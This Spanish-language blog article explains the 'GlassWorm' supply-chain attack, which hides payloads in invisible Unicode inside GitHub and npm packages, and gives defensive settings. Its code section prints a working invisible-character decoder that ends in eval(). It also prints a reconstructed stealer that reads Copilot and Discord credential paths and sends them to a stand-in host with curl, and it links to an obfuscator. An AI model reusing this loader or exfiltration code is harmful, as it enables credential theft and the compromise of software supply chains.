Un nuevo y aterrador ataque a la cadena de suministro llamado GlassWorm está comprometiendo cientos de repositorios de Python en GitHub. Los atacantes están hackeando cuentas de desarrolladores y usando caracteres Unicode invisibles para ocultar completamente código malicioso a la vista humana. Inyectan este infostealer sigiloso en proyectos populares, incluyendo investigación de machine learning y aplicaciones web, sin dejar rastro obvio en el historial de commits.
La confianza es el pilar de la colaboración en plataformas como GitHub, GitLab o Bitbucket. Sin embargo, los atacantes han encontrado un «punto ciego» en el estándar Unicode que permite inyectar miles de líneas de código malicioso en archivos que, ante el ojo humano, parecen totalmente inofensivos o vacíos.

1. La Anatomía del Ataque: 36 KB en una «Línea Vacía»
El núcleo de esta técnica reside en la densidad de datos. Un atacante puede insertar un archivo en una Pull Request que, al ser visualizado en el navegador, muestra una sola línea de código legítimo. Sin embargo, al inspeccionar el peso del archivo, descubrimos que ocupa decenas de kilobytes.
¿Cómo se oculta el peso? Se utilizan caracteres de control Unicode que no tienen representación gráfica (como los Zero Width Spaces o caracteres de control de dirección Bidi). Estos caracteres actúan como un contenedor para el payload real. El revisor de código ve una línea limpia, pero el intérprete (como Node.js o Python) procesa una cadena masiva de datos ocultos.
2. El Mecanismo de Ejecución: El peligro de los Scripts Automáticos
El éxito de este ataque depende de la automatización. La mayoría de los ecosistemas modernos (NPM, PyPI, Cargo) permiten ejecutar scripts en momentos específicos del ciclo de vida de un paquete:
- Preinstall / Postinstall: El malware se activa en el momento exacto en que un desarrollador ejecuta
npm install. - Decodificación en Memoria: El script inicial (el que contiene los caracteres invisibles) utiliza funciones de manejo de
Bufferpara «limpiar» los caracteres de control y reconstruir el código malicioso real. - La función
eval(): Una vez reconstruido el código en una variable de texto, se utilizaeval()para ejecutarlo directamente en la memoria del sistema, evitando dejar rastros en el disco duro que los antivirus convencionales podrían detectar.
3. Capacidades del Malware Moderno
Los ataques detectados recientemente bajo esta modalidad no son simples recolectores de contraseñas. Son piezas de ingeniería con lógica avanzada:
- Evasión Geopolítica: Algunos malwares incluyen rutinas que verifican la zona horaria, el idioma del teclado o la IP del sistema. Si detectan que la víctima pertenece a una región específica (por ejemplo, Rusia o China, dependiendo del origen del ataque), el código se auto-elimina para evitar conflictos diplomáticos o legales locales.
- Persistencia Descentralizada: Para evitar ser bloqueados por el cierre de un servidor C2 (Comando y Control), los atacantes guardan instrucciones adicionales en la cadena de bloques (Smart Contracts de Solana) o en metadatos de servicios públicos como Google Calendar. El malware consulta estas fuentes externas para saber qué hacer a continuación.
- Propagación por Cookies: En lugar de buscar archivos locales, el malware prioriza el robo de cookies de sesión. Con esto, puede suplantar la identidad del desarrollador en sus propios repositorios de GitHub, enviando automáticamente nuevas Pull Requests infectadas a otros proyectos de la empresa.
4. Debilidades en las Plataformas de Revisión
A pesar de las advertencias actuales, existen fallos críticos en la visualización:
- Archivos de Bloqueo: Los desarrolladores rara vez revisan a fondo archivos como
package-lock.jsonopnpm-lock.yamldebido a su longitud. Los atacantes esconden el código invisible aquí, sabiendo que pasará desapercibido. - Renderizado de Diferencias (Diffs): Las herramientas de «diff» visual suelen priorizar la legibilidad, lo que a veces causa que los caracteres especiales se omitan o se agrupen de forma que no generen sospecha.
Cómo Proteger tu Entorno de Desarrollo
Para cualquier administrador de sistemas o desarrollador, especialmente en entornos optimizados como Linux, estas son las medidas de defensa obligatorias:
- Desactivar Scripts Globales: Configura tus gestores de paquetes para que no ejecuten scripts de forma automática.
npm config set ignore-scripts true - Linters de Seguridad: Implementar herramientas de análisis estático que detecten «entropía inusual» en archivos de texto. Si un archivo
.jstiene una relación de caracteres no-ASCII superior al 5%, debe ser bloqueado automáticamente. - Visualización en Editores: Configura tu editor (VS Code, Neovim) para mostrar caracteres no imprimibles con colores llamativos.
- Uso de
npm-audit: Ejecutar auditorías de seguridad constantes, aunque sabiendo que estas solo detectan vulnerabilidades ya reportadas, no ataques de día cero (0-day) basados en esteganografía.
1. ¿Qué está haciendo GitHub?
GitHub ha implementado varias capas de defensa, aunque el video demuestra que aún son insuficientes en ciertos escenarios de «diff» rápido:
- Alertas de caracteres invisibles: Actualmente, si abres un archivo directamente en la web de GitHub que contiene caracteres de control Unicode (como los usados para el ataque Bidi), GitHub suele mostrar un banner de advertencia: «This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below».
- Renderizado de advertencia: En el editor web, los caracteres invisibles a veces se representan con iconos de alerta rojos (como un pequeño cuadro con el código hexadecimal) para que el revisor sepa que «hay algo ahí».
- El fallo en el «Diff»: El problema que menciona Midudev es que, en las vistas de comparación de cambios (Pull Requests), si el código malicioso está muy bien ofuscado o se inserta en archivos de bloqueo como
pnpm-lock.yamlopackage-lock.json, el ojo humano tiende a ignorar las líneas largas o vacías, y las herramientas de escaneo automático a veces lo omiten si no están configuradas específicamente para buscar entropía inusual en archivos de texto.
2. ¿Qué está haciendo Node.js / NPM?
Node.js y el ecosistema de paquetes son el blanco principal debido a la ejecución automática de scripts.
- NPM 7+ y PNPM 9+: Han empezado a ser más restrictivos. Por ejemplo, en versiones recientes de pnpm, los scripts de las dependencias de terceros no se ejecutan por defecto a menos que confíes explícitamente en el paquete.
- El «agujero» del Root Project: El gran problema es que, si el script malicioso está en el proyecto raíz (el que tú mismo te descargas), NPM asume que tú confías en ese código y ejecuta el
preinstallsin preguntar. Por eso la recomendación de
ignore-scripts = true
en el.npmrces vital. - Escaneo de Malware: NPM utiliza herramientas de análisis estático para buscar funciones como
eval(unescape(...))en los paquetes que se suben a su registro público, pero los atacantes saltan esto usando variaciones de codificación que cambian cada día.
3. Documentación y CVEs
Este tipo de ataques están categorizados oficialmente:
- CVE-2021-42574: Específicamente para el ataque de algoritmos bidireccionales (Bidi).
- CVE-2021-42695: Para el ataque de homoglifos (caracteres que se ven iguales pero son distintos).
- OWASP Top 10: Estos ataques entran en la categoría A06:2021 – Vulnerables and Outdated Components y fallos en la integridad del software.
ANÁLISIS DEL CÓDIGO
Aunque el código original es una masa de miles de caracteres invisibles (espacios de ancho cero, tabulaciones y saltos de línea ocultos), la estructura lógica que permite el hackeo se basa en una técnica de «desempaquetado» en memoria.
Aquí te muestro cómo se ve ese código una vez que lo «limpias» de los caracteres invisibles y lo traduces a algo que un humano pueda entender.
1. El «Cargador» (Lo que se ve en GitHub)
En el repositorio, el archivo preinstall.js parece casi vacío o con un comentario inofensivo. Sin embargo, contiene una variable gigante llena de «nada» visual:
JavaScript
// Este script prepara el entorno de instalación
const s = "... (aquí hay 36,000 caracteres invisibles) ...";
// Una función de utilidad que parece no hacer nada
function decode(payload) {
// Aquí es donde el malware traduce los espacios y tabulaciones en texto real
return payload.replace(/[^ \t]/g, '').split('\t').map(x => String.fromCharCode(x.length)).join('');
}
eval(decode(s)); // El golpe final: ejecuta el código invisible en memoria
y la version identica al del video de midudev es:
JavaScript
const s = v => [...v].map(w => ( w = w.codePointAt(0), w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 : w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null )).filter(n => n !== null); eval(Buffer.from(s(``)).toString('utf-8'));
Generar esta clase de codigos es relativamente simple con herramientas hechas por IA como la siguiente:
https://zidrave.net/ofuscador/
2. El código «Desempaquetado» (El Payload Malicioso)
Una vez que el eval ejecuta lo anterior, el código real que empieza a correr en tu sistema (el que Midudev mostró tras descifrarlo) tiene este aspecto:
JavaScript
const https = require('https');
const { exec } = require('child_process');
const os = require('os');
// 1. Verificación Geopolítica (El filtro ruso)
if (os.timezone() === 'Europe/Moscow' || process.env.LANG.includes('ru_RU')) {
process.exit(0); // Si es ruso, se apaga y no hace nada
}
// 2. Robo de Identidad (Exfiltración de Cookies/Tokens)
const paths = [
`${os.homedir()}/.config/github-copilot/hosts.json`,
`${os.homedir()}/.config/discord/Local Storage/leveldb`
];
// 3. Persistencia mediante "Oráculos" (Solana / Google Calendar)
async function getNextCommand() {
// Intenta leer un contrato de Solana para recibir nuevas órdenes
const solanaData = await fetch('https://api.mainnet-beta.solana.com/...');
if (!solanaData) {
// Si falla, busca en un evento público de Google Calendar
const calendarData = await fetch('https://www.googleapis.com/calendar/v3/calendars/...');
}
}
// 4. Ejecución de comandos remotos
exec('curl -X POST -d @- https://servidor-atacante.com/stolen-data < ' + paths[0]);
¿Por qué es tan peligroso este código?
- No toca el disco: Al usar
eval(), el código malicioso vive en la memoria RAM. Si reinicias o borras el archivo.js, el rastro desaparece de las herramientas forenses simples. - Se disfraza de tráfico legal: Las peticiones a la API de Solana o a Google Calendar parecen tráfico normal de un desarrollador o de una app moderna, por lo que los Firewalls no suelen bloquearlas.
- Usa tu propia identidad: Al robar tus tokens de GitHub, el virus usa tu cuenta para subir el mismo código infectado a otros proyectos en los que tengas permisos de escritura, expandiéndose como un parásito (worm).
Cómo verlo en tu editor (VS Code)
Si quieres detectar esto en tu Sistema, activa esta opción en los ajustes de VS Code:
- Busca: «Render Control Characters» y actívalo.
- Busca: «Unicode Highlight: Invisible Characters» y asegúrate de que esté en
true.
Esto hará que esos «espacios vacíos» brillen en color rojo o amarillo, avisándote de que el archivo pesa mucho más de lo que aparenta.
URL de Referencia:
https://arstechnica.com/security/2026/03/supply-chain-attack-using-invisible-code-hits-github-and-other-repositories/